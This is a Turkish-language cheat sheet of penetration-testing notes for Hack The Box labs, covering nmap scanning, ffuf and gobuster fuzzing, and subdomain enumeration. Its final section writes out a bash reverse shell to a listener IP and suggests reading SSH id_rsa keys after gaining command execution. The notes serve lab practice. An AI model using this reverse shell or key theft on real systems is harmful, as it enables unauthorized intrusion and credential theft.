HTB

  • nmap -sV -sC -oA cikti_adi 10.10.10.10

  • Web servisi varsa hangisini kullandığını bulmaya çalış. Apache, python framework vs. bu sayede payloadları ona göre gönderebilirsin. Bunun için verdiğin parametreleri boş gönder ya da bir hata verdirtmeye çalış. Eğer post gidiyorsa get gönder get gidiyorsa post gönder hata almaya vs çalış. Bir şekilde error verdirtikten sonra verilen error'u google'la ve hangi uygulama ile yazıldığı anla.

FUZZ

Her hangi bir http requestine fuzz atmak için burpten isteğe sağ tıklayıp copy to file diyerek her hangi bi isimle .req uzantılı kayıt etmeliyiz.

Kaydettiğimiz dosya da fuzz etmesini istediğimiz parametrenin değerini FUZZ olarak değiştiriyoruz.

-request istek.req >> istek dosyasını

-request-proto http >> istek protokolünü

-w /opt/SecLists/Fuzzing/special-chars.txt >> wordlisti veriyoruz. Burada ilk olarak bu özel karakter listesini vermemiz, hangi zafiyete karşı dirençsiz olduğunu tespit edebiliriz. Örneğin " işareti varsa sql { işareti varsa ssti ;|&& gibi ifadeler varsa command injection zafiyeti olduğunu gösterir.

-fs 744,434 >> döndüğü yanıt 744 ve 434 olanları gösterme

-mc all >> fuzz defaultta bütün responsları göstermez. Örneğin 500 ama biz hataları tespit etmek için 500 dönenleri de görmeliyiz o yüzden bu parametre eklenmelidir.

-mr parametresi de kullanılabilir. Örneğin dönen cevapta "banned char" yazıyor. Biz yalnızca bu yanıtın döndüğü istekleri de alabilir. onun için -mc karakterini vermyeceğiz ve -mr "banned char" yazacağız.

Subdomain - Virtual Hosting

  • Web sitelerinde sadece dizinler değil subdomainleride kontrol et.

gobuster vhost -w /root/pentest/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb

ffuf -u http://10.10.11.167 -H 'Host: FUZZ.carpediem.htb' -w /root/pentest/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -mc all

Bu şekilde çok fazla çıktı verecektir. Hemen kesip -fs 2423 parametresini eklemeliyiz. 2423 sayısı en çok verdiği size'dır bu sizeları vermesini engellemeliyiz.

---

Eğer bir şekilde sistemde komut çalıştırabiliyorsan, shell almak için ssh id_rsa keyini okuyabilirsin. Ya da içeriye reverse shell alabilmek için bir sh dosyası atarsın.

sh dosyasının içeriği

#!/bin/bash

bash -i >& /dev/tcp/10.10.10.14/9001 0>&1

Burada ki ip nc ile dinlediğin ip yani kendi ipmiz olmalı.

Dosyayı indirdikten sonra chmod +x ile yetki vermeli ve ./shell.sh ile çalıştırmalıyız.

./ile çalışmazsa bash /dev/shm/shell.sh diyerek dene.

Dosyayı /tmp /opt yada /dev/shm 'in altına kaydedebilirsin.

---

Last updated